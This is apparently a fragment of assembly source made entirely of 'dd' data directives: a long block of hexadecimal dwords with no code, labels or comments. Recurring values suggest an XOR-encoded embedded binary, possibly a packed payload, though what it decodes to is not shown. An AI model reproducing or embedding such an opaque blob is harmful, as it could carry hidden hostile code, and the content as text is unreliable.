		dd 3D3D36BAh, 0B1325658h, 89DE0317h, 0BE523767h, 0B132542Ah
		dd 0D1C5DDD5h, 6B87E88Ch, 2964E913h, 0B13237DBh, 493256A4h
		dd 585256AEh, 0B1325658h, 0F2BC26E2h, 447223h, 6F508C26h
		dd 0D0C834ABh, 313D56BAh, 0B1325645h, 0B120DDA1h, 0BCDB5657h
		dd 123256ABh, 0D0D7C798h, 3232D168h, 69D856ADh,	0B1CE56BAh
		dd 0BE52365Dh, 0B132562Eh, 0BEEBD657h, 303D37CAh, 0B13256CBh
		dd 0B12AD4E5h, 0A2DB5675h, 0C83256BAh, 144230C2h, 0D21FC61Ch
		dd 90ACC23Ch, 6693CF37h, 0B13257ADh, 0B3B2598Ah, 1325675h
		dd 0A5FBD71Eh, 0D05E1CCCh, 0BE5256AEh, 0B13253D1h, 0B9E6EDABh
		dd 76B345BEh, 9FC90A07h, 0BE325614h, 0B132463Bh, 0B139BF5Dh
		dd 61CB56AEh, 85C166A2h, 0B0279790h, 0D13256A0h, 0AE0EB56Bh
		dd 0BE534B9Ch, 0B132573Ah, 0B132AF5Dh, 0B13BD3A1h, 0D7525657h
		dd 0EF46882Ah, 0B153815Eh, 0BDB059EAh, 0D1325675h, 0B132D7B5h
		dd 0B54565Dh, 0B153C1FFh, 0B122BF57h, 0B49256ABh, 6A367871h
		dd 0ED6ADED8h, 0EA691C2Ah, 0B132C4D0h, 583256A5h, 0B13256A2h
		dd 0E31DA4A5h, 34DA2E23h, 0B51189B8h, 0BFDB56EAh, 0BF325675h
		dd 9B898EEEh, 0CB3396C6h, 0B9DC6CB4h, 0BE3256A2h, 0B1324025h
		dd 0B9DA36D5h, 8B3256EAh, 0D1943088h, 0EACC6B35h, 0B132D252h
		dd 0B15356AEh, 0B132AA57h, 0B13AD1A4h, 0D75256D5h, 0D821B96Bh
		dd 0B1323789h, 58325646h, 0B132564Fh, 0AB6057C6h, 2A9AD0F5h
		dd 54D78BE5h, 8E77B3A8h, 0B1328CE3h, 0B132AA8Dh, 0A0DB01DAh
		dd 5532565Dh, 30C01280h, 6BA88391h, 0EA9D0C0Bh,	0EEBECB9Bh
		dd 0B13237B0h, 0BE325680h, 0B1325131h, 7281365Dh, 0D0A0A42Eh
		dd 3A3D5657h, 0B13256A6h, 0B1325E3Ch, 2A6A8BEAh, 354BC3ABh
		dd 583256E4h, 0B1325652h, 965603ADh, 6029E93Eh,	0FCC4AC67h
		dd 0D1FAAC93h, 7E6C4855h, 0B135BE14h, 7CC956BAh, 9AF0DAF7h
		dd 4E8D5962h, 0B1323708h, 0B133DAA4h, 0B1CA56D5h, 0A9BF59EAh
		dd 58325675h, 0B13256A9h, 0DF738A2h, 59B26BFFh,	0D9EB5C2Ah
		dd 0F12FF3B6h, 0B13FAE74h, 3F3DAAEAh, 0B1325674h, 44325646h
		dd 0D752565Dh, 968C8925h, 0D062CD2Fh, 0B1325042h, 0B2CE60D5h
		dd 0B157DBEDh, 0B132AF75h, 7BEBD7DAh, 0D7085EA2h, 58538725h
		dd 0B1325645h, 6DCE9F64h, 0E105FDD8h, 0D9A805BAh, 95B60B1h
		dd 0B1322C90h, 0B12DD752h, 303D56AEh, 0B132564Eh, 0B1324242h
		dd 0D828F5D5h, 883D851Eh, 371E0D30h, 1DBAD038h,	0E3410AD1h
		dd 0D13256AAh, 0B137DA58h, 305456ABh, 0D063DE3Fh, 0BEDB56EAh
		dd 99325675h, 0BC457967h, 1CBB60F9h, 0DB3E72DAh, 0BE52CE0Ah
		dd 0B132532Ah, 58B330D5h, 0B153FFD0h, 0A5B45975h, 583256BAh
		dd 0B1325652h, 9471C5CEh, 2F8197E6h, 1E6CA2Dh, 486EB21Fh
		dd 49C756EAh, 0B1CA5675h, 0B132A3BAh, 0B13253B4h, 0F30E97AEh
		dd 0B1329B7Ah, 0B13ABFCBh, 770356D5h, 7573ED6Fh, 0A2DB308Ch
		dd 5F3256BAh, 3B765039h, 0BC332B07h, 0A40C1B29h, 0C77D94A3h
		dd 0B153D66Fh, 0B0BA59EAh, 44325675h, 3F3D56BAh, 0B132565Ah
		dd 0B133D2A1h, 0D1CA5657h, 57DA1B15h, 0B13ABFF1h, 5CDB56EAh
		dd 6D96D5D9h, 0B153A8AFh, 0B139BF5Dh, 9B5156AEh, 0D3951624h
		dd 8F8F9302h, 58325650h, 0B13256F9h, 0DF3EBE8Ch, 0FAC29C6Eh
		dd 87BC9BCAh, 0A8CD996Dh, 0B1CB3357h, 0BADBA3ABh, 0E03256D5h
		dd 15CF96ADh, 0A77F10D3h, 0B1323C6Fh, 0B13244B4h, 7A95A9AEh
		dd 91105BAAh, 0BE4AE32Bh, 0FCB8E6C1h, 48AAD0F8h, 0BE525675h
		dd 0B132533Eh, 46B3305Dh, 353D09F7h, 0B1325651h, 0B132DAA4h
		dd 0B15356D5h, 0C48236EAh, 0B1323780h, 0B6DBAEDAh, 2932565Dh
		dd 1824DF4Fh, 0B153E226h, 0B122BFABh, 6F2A56D5h, 3BF9F81Eh
		dd 9912ECE3h, 7C9604E9h, 0B132E6F0h, 0B13ED2A1h, 303D5657h
		dd 0B13256ADh, 0B132DBDAh, 0B13256EAh, 0B121D57Ah, 0BFDB56BAh
		dd 8432565Dh, 0FD0FB30Bh, 37C4003h, 85AC6720h, 0BE325671h
		dd 0B1325D63h, 9543675h, 3054586Fh, 0D088049Bh,	373D56AEh
		dd 0B1325658h, 0B1325C42h, 98980D5h, 8E808C56h,	0B1B809E9h
		dd 353D36BAh, 0B132565Bh
		dd 0B132D6A1h, 70B25657h, 0B13237DCh, 0B132583Ch, 0C6EF16EAh
		dd 8CB427DEh, 0CF887AD5h, 0B133A181h, 0B4DA36AEh, 63325657h
		dd 35EFF19Ah, 0B132D9DAh, 0E26B56EAh, 0B1530F80h, 0B132AABAh
		dd 483256A4h, 0BECE56AEh, 0B13242D9h, 0B13DBFABh, 8B9256D5h
		dd 9D540536h, 4CDED896h, 0F4FF7A82h, 0D13256CAh, 0B130D7A1h
		dd 0D0525657h, 583256CAh, 0B13256DFh, 5DFFABE1h, 5249C3Fh
		dd 0B132B075h, 0B13247B4h, 8DDCF0AEh, 42A14696h, 0EF722202h
		dd 40D663CBh, 0B6DB6EB1h, 8A325675h, 7437353Dh,	0B132F81Ch
		dd 0A0B7595Bh, 0BE325657h, 0B1325D2Bh, 0B134BFD5h, 802D56EAh
		dd 968FDBFh, 0B1C756BAh, 0B9DB365Dh, 0D53256AEh, 0A47F0902h
		dd 0D72AFB4Eh, 0D021976Eh, 0B1324403h, 1341FA75h, 596FEC9Fh
		dd 0DC4B1A6Dh, 535CA4E5h, 0B1F915EEh, 0B132AAABh, 0B132443Ch
		dd 0FFCD18EAh, 0CEC8B1CCh, 4E9B37h, 335E9947h, 0B1F88CCAh
		dd 0B13FBF57h, 0F19956ABh, 0FCDF66FAh, 1434A141h, 0B1FFD3FDh
		dd 0B132AEBAh, 0AB88AE3Dh, 0D0181FA4h, 0D7525657h, 0D7469214h
		dd 4CB89654h, 0B8DB368Bh, 90325675h, 0A4F2B950h, 0D7FF2967h
		dd 0B1325D47h, 62868C57h, 2500D964h, 0AE912452h, 0BE32568Bh
		dd 0B1324CFBh, 0A5B459BAh, 5832565Dh, 0B13256A1h, 830D3E8Ch
		dd 0E4601CCFh, 1CC2AAE8h, 0D1BC555Fh, 0EEE8DD23h, 583256DBh
		dd 0B132564Dh, 2543DF2Ch, 0AA86D4CBh, 0D269641Fh, 7E71CACh
		dd 3A3D56EAh, 0B1325667h, 0B1325B53h, 60C2465Dh, 9136EB15h
		dd 34B10D45h, 0B1328BBDh, 0B13AD8DAh, 45256EAh,	0C58830F7h
		dd 0B13237A6h, 0BE3256A8h, 0B1325E2Ch, 0B3B45957h, 0D13256ABh
		dd 343D36B4h, 0B13256F9h, 0B1325B9Dh, 0DBED48BAh, 955E813h
		dd 2E986826h, 0D06A4BF6h, 3E3D56ABh, 0B13256DDh, 0B130DBE5h
		dd 0D0525675h, 0BE5256BAh, 0B13255D1h, 67B930AEh, 0B13237ABh
		dd 0B1324242h, 27DC36D5h, 0DB53EBACh, 0F427FB25h, 995F12D5h
		dd 8471F5ABh, 58325659h, 0B132565Bh, 8D76B667h,	114AC6A2h
		dd 0E1276062h, 343D5675h, 0B13256B4h, 0B1325FB4h, 0BFA877AEh
		dd 0A10D40C0h, 252222Ah, 3DFFD6E0h, 0BE32568Bh,	0B13251FBh
		dd 0B0BC59BAh, 4D32565Dh, 0B6DB56AEh, 0A6325657h, 44CD4D36h
		dd 0B132D990h, 0B1324403h, 166B075h, 20D080F0h,	0EBBBE11h
		dd 96F9CD5h, 0BE9F6429h, 0B1325C28h, 0E3D36D5h,	467BEC18h
		dd 0B1537147h, 0B132A3BAh, 0E9CB003Dh, 0AEFCEFC8h, 0D1325636h
		dd 260B12Ah, 63D7CEFh, 0B1323710h, 0B1323715h, 0B1325853h
		dd 2C0D6F5Dh, 0CEBEEBDDh, 4BE64838h, 58E25485h,	0B13256C1h
		dd 24E28F48h, 33C3DBAEh, 3859D0CDh, 7A147715h, 9DA25DACh
		dd 0B1CE5657h, 343DA3ABh, 0B13256D4h, 44325616h, 0B1CA5675h
		dd 0B132AEBAh, 0B133D652h, 0B1CB56AEh, 0B132AE57h, 0D1325657h
		dd 0BEB4B555h, 0B132566Ch, 0B1323775h, 0B0B75943h, 4432565Dh
		dd 0B7DB56AEh, 0DA325657h, 50DC53C9h, 49325652h, 3E3D56EAh
		dd 0B1325665h, 77B930DAh, 0B13253B5h, 0F51E97AEh, 0D06DC41Fh
		dd 0B1CA56ABh, 0B122BFD5h, 9CE756EAh, 0C45D8A23h, 0D70F11DEh
		dd 0B47B4F3Bh, 0B13261EDh, 0D13256ABh, 24F0D7FCh, 0EA7ECC3Ch
		dd 0D067956Ah, 0B135D37Ah, 3A3D56BAh, 0B132565Ch, 58325656h
		dd 0B1325644h, 568831CBh, 332F0970h, 38A42D01h,	0C0F196B8h
		dd 0B1F9E434h, 0B138BF5Dh, 0C92A56AEh, 55AD91CFh, 0B64FA978h
		dd 0B7DB56D5h, 1A3256EAh, 0DB90000Eh, 0BE325629h, 0B13251D9h
		dd 0B5436AEh, 0D0CAB1DEh, 315256ABh, 0A548E09h,	0B1530CCAh
		dd 0B6BF5975h, 0BE3256BAh, 0B13257D1h, 0B132AFAEh, 3A540637h
		dd 30540D50h, 0D0897414h, 3B3D56EAh, 0B1325674h, 0B135BF42h
		dd 989C565Dh, 5E22DBC6h, 483256C1h, 0B1CB56ABh,	0B139BFD5h
		dd 0F71D56EAh, 0B45C69C1h, 0FC7699D8h, 49325641h, 315256AEh
		dd 3F3DEAA5h, 0B13256B9h, 0B1325B3Ch, 12D03EEAh, 6676DF7Ah
		dd 9BC015Fh, 0B1538D44h, 0BDB459AEh, 0BE325657h, 0B1325024h
		dd 0B1BB59D5h, 4D3256EAh, 0BEDB5675h, 0EC3256BAh, 475ADA65h
		dd 30528E4Dh, 39DAD73h,	0B1320989h, 0B135DEDAh,	373D56EAh
		dd 0B1325674h, 58325642h, 0B132564Ch, 7205B22Dh, 0E0ECA909h
		dd 785F21A4h, 0A54F2C37h, 58325644h, 0B1325665h, 39EFD5C9h
		dd 44F66BF0h, 47E81E52h, 0C2D4443Ah, 333D56ABh,	0B13256DFh
		dd 0B1325303h, 0A32E1375h, 0B1320F25h, 0B136DD52h, 0D15256AEh
		dd 0B1323736h, 0B12AD1A4h, 585256D5h, 0B13256E7h, 5A09202Bh
		dd 28E02E88h, 2C9E9112h, 2B8C30FCh, 0B13237DCh,	0BE325652h
		dd 0B1325758h, 5852AFEAh, 0B132567Ch, 2BE67B3h,	0DD6CC826h
		dd 0B137BF8Dh, 0DE005657h, 0D0FC2040h, 0BE5256D5h, 0B153A45Dh
		dd 0B4DBA375h, 0EB3256BAh, 4BE2EE02h, 0B1CE56AEh, 0B9DB3657h
		dd 0DB3256ABh, 67DEAF4Fh, 0BE42A5C6h, 0B13256F3h, 0B13237BAh
		dd 0B13245B4h, 1E81D6AEh, 0C375F58Dh, 2AAB50C8h, 0B1AABDBCh
		dd 1A99B740h, 59525675h, 0B13256BCh, 0AF1718EEh, 41B96D1Ch
		dd 0B132370Fh, 7FB930CBh, 0AEB38054h, 0B15339F9h, 353D3675h
		dd 0B13256BCh, 64BCB9DCh, 0B15358E5h, 0B132AE57h, 0B133D1A4h
		dd 0B1CE56D5h, 5FB236EAh, 69B93047h, 0D13256DBh, 59E8E152h
		dd 0B13256A2h, 56ED0719h, 2FD16ADBh, 3183B463h,	0EFE4DD8Ch
		dd 0B135BF14h, 96DF56BAh, 0F840B305h, 0BE325606h, 0B13257DDh
		dd 0B132AAABh, 0B133D8DAh, 0B1C756EAh, 138B3675h, 0E1792265h
		dd 0D0690D0Fh, 0B1CA56AEh, 0B132AA57h, 58325652h, 0B13256D2h
		dd 47D0186h, 0B1C5E058h, 0B122BFBAh, 0E179565Dh, 0BD79912Ah
		dd 500F2E34h, 0C271379Fh, 0B13235DEh, 0B1325003h, 82501775h
		dd 0B14F2E99h, 0B9B2595Dh, 0BE3256AEh, 0B13254DDh, 0B15336ABh
		dd 0B134BFD5h, 517056EAh, 5071392Fh, 0D75256BAh, 3A76ECE7h
		dd 0B132377Eh, 0B13247BEh, 0AB8B8ABh, 92DF0029h, 8A2D2D78h
		dd 73D8D437h, 0B1324853h, 4A8D593Dh, 0EE5336F8h, 0D1325636h
		dd 0BADAD7CDh, 628A3011h, 0B1323706h, 0B120DA7Ah, 3A5256BAh
		dd 0B13ABEA3h, 85A156AEh, 0E82E2CCCh, 0D069C7E3h, 333D56D5h
		dd 0B13256E2h, 0D7533615h, 0D05F2300h, 0B1CA565Dh, 0B132AFAEh
		dd 0B133D558h, 0B1CA56ABh, 0D15236D5h, 0D153AF8Bh, 68FB85CAh
		dd 0F9D7D696h, 0B132373Ch, 48325652h, 0D7525657h, 1871952Ah
		dd 0E8533682h, 0D132568Bh, 4C0D713h, 0B153AEDAh, 0B13DBF5Dh
		dd 0F46056AEh, 0E9517AB1h, 0C11EFB9Ah, 0D7F321Eh, 0BE325673h
		dd 0B1325EFDh, 0B3BA59BAh, 0D132565Dh, 0BE3256CFh, 0B1325CD2h
		dd 0E86436ABh, 0B132DFDAh, 0B15356EAh, 0B1CEAF75h, 0B132AEBAh
		dd 0B13ED552h, 3F3D56AEh, 0B1325651h, 0B132DAA4h, 0B13256D5h
		dd 0B1325003h, 3D580375h, 58A520B8h, 0B1325651h, 39F3D234h
		dd 157FEAD6h, 0AAB167DDh, 0A2DB56D5h, 0A3256EAh, 0C738485h
		dd 0DF66B2F8h, 1E880911h, 507DB515h, 0B132C741h, 0B1324742h
		dd 0F9BCF1D5h, 8D9CE66h, 0C871116Fh, 0A6054ED0h, 0A1DBE895h
		dd 6B3256AEh, 0F2B0D3B0h, 7B3FC361h, 0C71B72EAh, 0B1F09306h
		dd 0A5DB3675h, 4A3256BAh, 0DA3BE845h, 7EAC6C04h, 1C726FF7h
		dd 0A265462Eh, 0BE4C190Fh, 0B132546Dh, 0D0680575h, 0B1325353h
		dd 0EE8A725Dh, 0B1326718h, 0B13AD058h, 393D56ABh, 0B13256D7h
		dd 0B132378Ah, 0B132479Ch, 0DA3517BAh, 370F71A5h, 6614DDFh
		dd 16848B6Eh, 0D15249E3h, 0BBDA1666h, 5A3256EAh, 3AF1A61h
		dd 6F9F2D82h, 0D06BAF2Ah
		dd 0B1325646h, 5BB30C57h, 0B72ADAC3h, 0B132453Ch, 0FBB299EAh
		dd 11EB0473h, 40E7C199h, 427C0FA7h, 0F94552D4h,	0B124D558h
		dd 0A0DB56ABh, 163256D5h, 82DD6504h, 1F5C50EBh,	0CAF60DA7h
		dd 8B2EBB04h, 3B28D323h, 3A3D5040h, 0B13256ADh,	3A54AFB5h
		dd 33BB371Dh, 0B72A234Eh, 0B1325853h, 31C6FE5Dh, 46EA3697h
		dd 1AF5725Ah, 3CDCA70Ah, 0A85B9657h, 343D36ECh,	0B132566Dh
		dd 0B1324452h, 76D7D15Dh, 9E6B26Ch, 0C359E738h,	0C34DAF34h
		dd 0EB5ADF9Eh, 5F06A56Bh, 385341EBh, 0A9473B38h, 3B52A35Bh
		dd 0B13BBF4Fh, 68365657h, 6BBE54F9h, 0D0829077h, 0B1074D02h
		dd 0B2BD5975h, 0D13256BAh, 0CADA37A4h, 0BE3256ACh, 0B1325EDFh
		dd 0B3BC59ABh, 0D13256D5h, 3B0918Bh, 0B1344E01h, 0D13256BAh
		dd 0B1325CB5h, 979980AEh, 259F7F7Ah, 0D13E18C3h, 49B90FB4h
		dd 5852048Bh, 0B1325666h, 97CA62C8h, 0B2A9DD31h, 0EB76803Ah
		dd 880D63ACh, 0D784FFBEh, 36648E54h, 0E8B7908Bh, 0E7344477h
		dd 0B133D3B5h, 0D9CB565Dh, 2D9AEEFCh, 0B13250BEh, 0B036AAABh
		dd 4E95F903h, 0A31C3F5Fh, 0A1B25973h, 583256BAh, 0B1325656h
		dd 0B292AFC8h, 7BC86E1Ch, 0BEBC388Dh, 0B1325758h, 34BFAEEAh
		dd 0B727D7D1h, 0B1325D53h, 2371DC5Dh, 0F8E655F5h, 0D1BDBB5Dh
		dd 0B7DB8654h, 343256D5h, 88799406h, 60B7DFFCh,	583444A9h
		dd 0B1325652h, 0C18013C8h, 3C21B646h, 0A7A94632h, 0DBF47A4Eh
		dd 0BDB259EEh, 0D1325675h, 30AECDCh, 0B132D052h, 0D95356AEh
		dd 0B1324657h, 0B1324742h, 7BDD42D5h, 67528173h, 56003E8Dh
		dd 6527C417h, 0F15AA456h, 583255A3h, 0B1325652h, 0C75801CAh
		dd 58323C7Ah, 0B13256F8h, 61CE4B5Ch, 0EF31D324h, 284DF0E2h
		dd 725C83DCh, 61CD8410h, 0B13ABFCBh, 845656D5h,	0A0DBC988h
		dd 3054F1AAh, 0D0F83665h, 0F689303Dh, 0D0C2DDA3h, 7139A30Dh
		dd 0B1D4D2A4h, 3A3D56D5h, 0B13256EBh, 3B0DF8Dh,	44344ECEh
		dd 0C5EBD4D4h, 0A5250B6h, 909E0508h, 0BC72EFCAh, 0F5256D6h
		dd 0D0D332DBh, 49B9378Dh, 48F26542h, 0A0DBFCAEh, 1A3256AEh
		dd 39D65053h, 0CC386F01h, 31FEF31h, 45EA5142h, 0B558A327h
		dd 0A1323E42h, 0D9CA565Dh, 0B13252AEh, 0B135D558h, 333D56ABh
		dd 0B13256D4h, 0BE323C16h, 0B13251F5h, 63D36BAh, 0D090E08Ch
		dd 0A2E3C451h, 0BECE5045h, 0B1324820h, 0A5DA36D5h, 413256EAh
		dd 16E67793h, 736883BCh, 0B9ECD2A4h, 0D9F3B2EBh, 0EFDE1A82h
		dd 0EB539C20h, 79B930B5h, 66F1D7B8h, 0EB3FE066h, 8FB0DFDBh
		dd 58344E25h, 0B13256A0h, 0BE903B91h, 0CE5BB195h, 4A9907B7h
		dd 0D15200EEh, 610FEF13h, 0B1324653h, 100E985Dh, 34A8B8B2h
		dd 67507490h, 3FABE521h, 305437DFh, 0D05F3909h,	0B135BF14h
		dd 244D56BAh, 490EE1BDh, 3B7DD30h, 0BE344E23h, 0B132512Eh
		dd 0B0B459D5h, 493256EAh, 0B132429Ch, 0EA6C11BAh, 6E6A8752h
		dd 0A703454Ah, 0E50589B6h, 0E8ECA138h, 0BADB957Fh, 0EA3256EAh
		dd 60CBBF02h, 685B9FB8h, 0D15221D0h, 0B1325E47h, 46294357h
		dd 0D40E24DDh, 0B13ABFA8h, 258A56EAh, 0F3BFC440h, 7653D3AEh
		dd 0A3119BDFh, 0F13256A8h, 0EE613657h, 0C2265E11h, 33F537E6h
		dd 0B720716Bh, 0B1324675h, 0D1523746h, 20CE9DDCh, 0BE532E4Ch
		dd 7253ACE8h, 438559CBh, 0D8F3D7B3h, 0D1C737BEh, 388DD80h
		dd 49344ECEh, 0BE3269DEh, 0B132BA2Ah, 0A2B05957h, 0D13256ABh
		dd 0B1325F3Dh, 0E09B60EAh, 33587DD5h, 3A6BFC38h, 0A1DB3793h
		dd 143256AEh, 9C3D314Ch, 0EC0FAA93h, 99A6BBD4h,	32E57F3Dh
		dd 0BE30460Ah, 0B132263Eh, 0E3D365Dh, 0B137BE7Eh, 19875657h
		dd 0EE84E7CBh, 0A14DD5B4h, 34B659EEh, 0D1325675h, 0B1324252h
		dd 8E8EDD5Dh, 0E4D15F88h, 74AE1B93h, 30539499h,	5ABCBE8Eh
		dd 0B1BC598Dh, 0EE325675h, 0B1324253h, 435F805Dh, 3D0987DEh
		dd 0AB15A9EAh, 0A3B46A4Eh, 9A6F99A4h, 76B137FBh, 0D0DBAE61h
		dd 4DCDA945h, 0B134BF3Dh, 0A99856AEh, 78C0AA20h, 64DE9CDh
		dd 0A17591B4h, 0B13256EBh, 0B1325C9Ch, 294F40BAh, 74892F8Fh
		dd 585EDFC9h, 4ECDA99Dh, 0B13CD8A4h, 0BE5256D5h, 0B1325661h
		dd 0B1B75975h, 0D03256BAh, 0B222119Ah, 443256AEh, 4ECDFFBEh
		dd 30543654h, 44BCCF34h, 3C3D378Bh, 0B1325679h,	0B134DFB5h
		dd 3F3D565Dh, 0B13256AEh, 63D3694h, 30540663h, 0EE273C3Fh
		dd 3A54368Bh, 0B138BFB4h, 813B56BAh, 17C4337Ah,	0C452DA1Eh
		dd 3A3D0336h, 0B13256A3h, 0D7F9DDB5h, 0D0FFEE52h, 0BDDBBAFEh
		dd 173256BAh, 90A2A05Ah, 0FE375BF0h, 0D1D373A4h, 1EBA714h
		dd 0D0D9DCA1h, 0B1DAAA8Ah, 0EB325675h, 2068BC3Bh, 0D7525045h
		dd 5F0972Fh, 7C9CBDD6h,	4D53099Bh, 0C951E45Eh, 0BE5250F2h
		dd 0B13256F2h, 0B123BEBAh, 1268565Dh, 0EB33F669h, 46D1F501h
		dd 8B9CA385h, 0BE24960Fh, 0B132566Bh, 3A530D75h, 3C3D5EFFh
		dd 0B132565Ah, 0B133D3A1h, 38C75657h, 0BDBB59ADh, 0BE3256D5h
		dd 0B132506Dh, 0B1B75975h, 323256BAh, 0A94A35DFh, 0BE5252A8h
		dd 0D053A0E0h, 73CA9F52h, 0B9DB56D1h, 4E3256EAh, 0F991E338h
		dd 0D1E8B0B1h, 0B132BEA4h, 306856AEh, 0A9A3B3BDh, 0B6B259ADh
		dd 0BE3256D5h, 0B1325760h, 303DA375h, 0B13256BBh, 8F80DDA1h
		dd 58344ED6h, 0B1325644h, 0DB078A6Fh, 24CA0F39h, 0EECE4459h
		dd 2BDF015Fh, 8A473DF8h, 0A94A35EFh, 8DB659A8h,	0D1325656h
		dd 5DC3B62Ah, 3A5322DBh, 6EB9AAD4h, 0B135BE15h,	213956BAh
		dd 432CB371h, 2489306Dh, 0BE530DEEh, 4D33191Dh,	31331123h
		dd 0B128D3E5h, 303D5675h, 0B13256B2h, 0B130DD52h, 0D05256AEh
		dd 4D528F54h, 0A2DB375Eh, 443256D5h, 0BADB8FC1h, 30325675h
		dd 0B82DCFB8h, 0FDE57A7h, 0D171BBDBh, 0ED4B21EDh, 59B80088h
		dd 0BE71378Bh, 0B1325761h, 34B9AE75h, 0B72059D3h, 0B13ADC52h
		dd 0D75256AEh, 0D146E8ECh, 3CB937CAh, 0B7206280h, 0BEEA6D12h
		dd 0B1322FF7h, 0B138BFBAh, 0F7565Dh, 0BA31B64Fh, 0D41C7104h
		dd 86A1E9CBh, 3D3D6E55h, 0B13256FEh, 0B132599Ch, 0C785BAh
		dd 29DB926Ch, 66160B30h, 8B754D92h, 0BEEB6DCAh,	0B1321752h
		dd 77B1AFEAh, 0B13FBF71h, 5ABC56BAh, 4C45493Ah,	0D61DDBAFh
		dd 5820FC44h, 4ECDA9A4h, 0B112DFDAh, 0BE5256EAh, 0B13256F4h
		dd 0B120BEBAh, 0AEBE565Dh, 0EBDF41ACh, 1B5785FDh, 6B8212FFh
		dd 360FF89Bh, 7E0937B4h, 0B11BD27Ah, 0B7DB56BAh, 0A432565Dh
		dd 2DF6C8EFh, 0E48FDFC5h, 0D134449Fh, 3A54875Fh, 313D3725h
		dd 0B1325670h, 6E8D59DAh, 4FA9BF3Ch, 0D0CAA951h, 0B13259BEh
		dd 0DC612FABh, 489E9558h, 47EA7FD4h, 0A79CCFE6h, 0B1325353h
		dd 1AF2735Dh, 58F19636h, 0B1325647h, 4ED36087h,	0C3A55CAEh
		dd 0CB2F51F9h, 3A38E17Bh, 0CA8536DAh, 0B13259B5h, 8F75D9AEh
		dd 0D13782B8h, 4F5C409Fh, 0D541582Bh, 0B1325103h, 3134A75h
		dd 1A36A86Eh, 0B1DA3705h, 0EB3256AEh, 22F4BCD6h, 0A5DB50B3h
		dd 7E3256D5h, 576D3E11h, 0ACA9993h, 0B249B030h,	1F088CE9h
		dd 0BEFCE5DFh, 0B13257D8h, 3ACEAAABh, 0A94A686Fh, 0B18BAEECh
		dd 0D1325674h, 78EBD7DAh, 0E20A531Eh, 3C3D37F7h, 0B1325655h
		dd 8253441Ah, 0B13CBF15h, 0A8D56EAh, 33B5B2A6h,	0DC08E587h
		dd 0C9943893h, 0D1CAFD5Dh, 0B13245BFh, 99EC72ABh, 53A8124h
		dd 5ACFE7E3h, 7B02E059h, 0D34A34DEh, 2F53EF3Bh,	0D05207F4h
		dd 33B93708h, 0B72A2E95h, 0BEEDDDB5h, 0B132506Fh, 0B1BC5975h
		dd 0D03256BAh, 0C951D4D4h
		dd 0B4DB50B6h, 7A325657h, 0A38C059Fh, 0B6BA59B4h, 0D13256EAh
		dd 53B2B2C3h, 0D1F13746h, 42E3B7DCh, 3F3D311Eh,	0B1325655h
		dd 0D1533E18h, 0B132BE29h, 306856EAh, 0A9A6C39Fh, 0BBBC59BCh
		dd 5832565Dh, 0B13256ABh, 96087B26h, 30543644h,	30BBC20Ah
		dd 1923EF05h, 0BBDB377Ah, 23256BAh, 0CD46B3FFh,	0CB286C40h
		dd 0E8B79012h, 0E73444A9h, 0DC0B3E29h, 383D82F5h, 0B1325670h
		dd 7EB930DAh, 0B126BF3Ch, 53DF56AEh, 68608E1h, 6D03EF4Bh
		dd 390232C5h, 83BAEACCh, 4CD8FB2h, 0B72078D3h, 0B13242B4h
		dd 6A7A85AEh, 0DAF2B3E1h, 7B7065D8h, 0C55E1FCBh, 0B204984Fh
		dd 15B7DB74h, 4834433Bh, 66B3303Dh, 4E531A18h, 30543687h
		dd 6C5BC45h, 0BE6037B1h, 0B1325169h, 7FB23675h,	0D0F1DD59h
		dd 0B13ABF0Dh, 952556AEh, 80F56D6h, 0B15A1E1Fh,	0D1325655h
		dd 0D0CBB55Dh, 0B6DB561Fh, 963256BAh, 72BE375Ah, 3CD21F3h
		dd 0B72A22E5h, 58E2A952h, 0B13256DDh, 0B02ED49Eh, 287066CBh
		dd 0B0BE59E2h, 4432565Dh, 0B13DBFF4h, 0B20A5657h, 79A7C148h
		dd 0D5BA18D9h, 746A51C2h, 31323E93h, 0A3DB56BAh, 0E832565Dh
		dd 319DAF41h, 606D5F3Dh, 1CF7CFE3h, 721901ADh, 4D323CD8h
		dd 0C90CE48Ah, 0B8DB50A2h, 0B032565Dh, 0F7EE49A8h, 18BC20FCh
		dd 0B122D0A4h, 3E3D56D5h, 0B13256E0h, 0B132539Ch, 0A5C9BAh
		dd 61CDA07Eh, 9D8507CEh, 4853370Eh, 6F8559CBh, 0B1325E3Ch
		dd 0A21783EAh, 0E4C42415h, 49F13703h, 5DB9AF08h, 0B12AD1A1h
		dd 0A2DB5657h, 233256ABh, 0C68ADABDh, 774CB2F6h, 0E05A3BF1h
		dd 70FB7C6Bh, 48529546h, 0B1325646h, 5BB30C57h,	0B72AC083h
		dd 0B1325A3Ch, 95722CEAh, 7F33CFDh, 0D2FBFAC9h,	0BCB6593Ah
		dd 583256AEh, 0B132565Fh, 0BCC98479h, 93212935h, 4D3A2361h
		dd 0B13CF19Dh, 0B7BE59BAh, 0D132565Dh, 6562E9C8h, 0F520336h
		dd 96EF91E5h, 0D0FDE9DAh, 8AA0A912h, 0D1344E00h, 0E543646h
		dd 5BB886CBh, 0E15237CFh, 0B1325EBEh, 0AF682FABh, 0B470F20Ch
		dd 30540964h, 0D048BF87h, 3F3D36E7h, 0B1325644h, 0B1324247h
		dd 0A6552557h, 7036553h, 5B244E36h, 1B9A6974h, 19231EACh
		dd 0A9D1D7C6h, 0D04C1655h, 0BE3E2395h, 4ECDDDD2h, 303DAF54h
		dd 0B13256C4h, 0B1325A03h, 97158D75h, 87FF995Bh, 19CDCE5Dh
		dd 0BF28BEC4h, 353D5657h, 0B13256A3h, 0B130D0DAh, 0D05256EAh
		dd 78C73780h, 0B134D9B5h, 3A52565Dh, 0D0C0DD60h, 0BE325E95h
		dd 0B1325724h, 4867AFD5h, 0BFDBBA61h, 0FA325675h, 2EFFF824h
		dd 6927D837h, 8D5435BCh, 4DF6D5CEh, 0B7B859CBh,	0BE3256D5h
		dd 0B1325664h, 0B4B65975h, 0A3256BAh, 9B0FA736h, 3D3D00CFh
		dd 0B1325645h, 0B13ABFCBh, 0A66F56D5h, 102737A4h, 63DBBCEh
		dd 4865376Dh, 0B1DAAF0Eh, 0EB3256AEh, 2654BCD6h, 0B4DB50B3h
		dd 513256D5h, 5AE1C692h, 0B132479Ch, 75B05ABAh,	0DB203FDDh
		dd 0BF928CDh, 0FBA83354h, 0C4B91623h, 0B0B059DDh, 483256EAh
		dd 0BE222BFEh, 0B1325E32h, 77B2365Dh, 698D5934h, 0BEC70136h
		dd 0B132572Dh, 0D164AED5h, 30549E61h, 0D00D9E96h, 0B133E352h
		dd 0B13ABF5Dh, 860756AEh, 0F238A97Dh, 71393AB9h, 0B03CD2DAh
